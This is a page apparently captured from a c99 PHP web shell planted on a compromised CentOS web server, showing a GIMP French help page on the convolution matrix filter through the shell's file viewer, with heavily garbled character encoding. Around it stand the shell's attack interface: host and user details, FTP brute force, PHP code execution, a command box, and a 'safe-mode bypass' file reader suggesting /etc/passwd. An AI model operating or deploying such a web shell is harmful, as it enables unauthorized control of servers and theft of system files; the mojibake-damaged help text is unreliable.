!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/gimp/2.0/help/fr/   drwxr-xr-x
Free 35.35 GB of 127.8 GB (27.66%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     plug-in-convmatrix.html (15.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
7.2.В  Matrice de convolution

7.2.В  Matrice de convolution

7.2.1.В  GГ©nГ©ralitГ©s

On accГЁde Г  ce filtre par le menu d'image en suivant Filteres в†’ GГ©nГ©rique в†’ Matrice de Convolution

Nous sommes lГ  dans le coin des mathГ©maticiens. La plupart des filtres de traitement des images utilisent des matrices de convolution. Avec le filtre Matrice de convolution, vous pouvez, si le coeur vous en dit, vous concocter un petit filtre sur mesure.

Mais qu'est-ce que c'est qu'une matrice de convolution? On peut s'en faire une idГ©e approximative sans utiliser les outils mathГ©matiques que bien peu connaissent. Une convolution est un traitement d'une matrice par une autre appelГ©e matrice de convolution ou В«noyauВ» (kernel).

Notre filtre В«Matrice de convolutionВ» utilise une premiГЁre matrice qui est l'image, c-Г -d une collection de pixels en coordonnГ©es rectangulaires 2D (il y a des matrices 3D...), et un noyau variable selon l'effet souhaitГ©.

Gimp utilise des matrices de convolution 5x5 ou 3x3. Nous nous limiterons aux matrices 3x3, les plus utilisГ©es. Elles suffisent Г  tous les effets recherchГ©s. Si toutes les cases des bords du noyau sont Г  0, le systГЁme considГЁre qu'il s'agit d'une matrice 3x3.

Le filtre Г©tudie successivement chacun des pixels de l'image. Pour chaque pixel, que nous appellerons В«pixel initialВ», il multiplie la valeur de ce pixel et de chacun des 8 pixels qui l'entourent par la valeur correspondante dans le noyau. Il additionne l'ensemble des rГ©sultats et le pixel initial prend alors la valeur du rГ©sultat final.

Vite un exemple, simple:

ГЂ gauche se trouve la matrice de l'image: chaque pixel est indiquГ© par sa valeur. Le pixel initial est encadrГ© de rouge. La zone d'action du noyau est encadrГ© de vert. Au centre, se trouve le noyau et, Г  droite, le rГ©sultat de la convolution.

Voici ce qui s'est passГ©: le filtre a lu successivement, de gauche Г  droite et de haut en bas, les pixels de la zone d'action du noyau et il a multipliГ© chacun d'eux par la valeur correspondante du noyau et additionnГ© les rГ©sultats: (100*0)+(50*1)+(50*0)*(100*0)+(100*0) +(100*0)+(100*0)+(100*0)+(100*0)+(100*0) = 50. Le pixel initial a pris la valeur 50. PrГ©cГ©demment, quand le pixel initial a eu la valeur 50, il a pris la valeur 100 du pixel au dessus (le filtre dГ©pose ses rГ©sultats sur une copie de l'image et pas directement dans l'image) et s'est fondu dans l'arriГЁre-plan 100. Le rГ©sultat graphique est un dГ©calage du pixel initial d'un pixel vers le bas.

7.2.2.В  Options

Matrice

C'est la matrice 5x5 du noyau que vous voulez crГ©er: vous entrez les valeurs voulues directement dans les cases.

Diviseur: le rГ©sultat du calcul prГ©cГ©dent sera divisГ© par ce diviseur. Vous n'utiliserez guГЁre que 1 qui laisse le rГ©sultat inchangГ©, et 9 ou 25 selon la taille de la matrice utilisГ©e, ce qui donne la moyenne de la valeur des pixels.

DГ©calage: cette valeur est ajoutГ©e au rГ©sultat de la division. C'est utile si le rГ©sultat risque d'ГЄtre nГ©gatif. Le DГ©calage peut ГЄtre nГ©gatif.

Bordure

Source, Г‰tendre, Enrouler, Rogner

Quand le pixel initial est sur un bord, une partie du noyau porte en dehors des limites de l'image. Vous devez dГ©cider de ce que doit faire le filtre. Dans les exemples ci-dessous, le noyau simple de dГ©placement dГ©crit plus haut a Г©tГ© appliquГ© plusieurs fois, grГўce Г  Ctrl-F, Г  l'image:

  • Г‰tendre: cette partie du noyau n'est pas prise en compte. Des pixels disparaissent. La ligne libГ©rГ©e est remplacГ©e par une extension de la ligne suivante.

  • Enrouler: cette partie du noyau Г©tudiera les pixels du bord opposГ©, ce qui Г©quivaut Г  faire rГ©apparaГ®tre de l'autre cГґtГ© les pixels qui disparaissent d'un cГґtГ©.

  • Rogner: Les pixels situГ©s en bordure disparaissent et les parties libГ©rГ©es sont transparentes. Si l'option Poids Alpha n'est pas cochГ©e et si l'image n'a pas de canal alpha, cette option est en grisГ©.

Canaux

Vous pouvez choisir lГ  le ou les canaux sur lesquels agira le filtre.

Automatique

Quand cette option est cochГ©e, le Diviseur prend la valeur du rГ©sultat du calcul de convolution. Si ce rГ©sultat est Г©gal Г  0 (on ne peut pas diviser par 0), un DГ©calage de 128 est appliquГ©. S'il est nГ©gatif (on ne peut pas avoir de couleur nГ©gative), c'est un dГ©calage de 255 qui est appliquГ© (ce qui inverse le rГ©sultat).

Poids alpha

Si cette option n'est pas cochГ©e, le calcul ne tient pas compte du degrГ© de transparence des couleurs, ce qui peut ГЄtre cause d'artГ©facts lors de l'application d'un flou.

7.2.3.В  Exemples

La crГ©ation de noyaux nГ©cessite des connaissances mathГ©matiques de haut niveau. Mais vous en trouverez de tout faits sur la Toile. En voici quelques exemples:

FigureВ 11.41.В  Augmenter le contraste

Augmenter le contraste
Augmenter le contraste

FigureВ 11.42.В  Flou

Flou
Flou

FigureВ 11.43.В  AmГ©lioration des phrase

AmГ©lioration des phrase
AmГ©lioration des phrase

FigureВ 11.44.В  DГ©tection des bords

DГ©tection des bords
DГ©tection des bords

FigureВ 11.45.В  Repoussage

Repoussage
Repoussage

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0064 ]--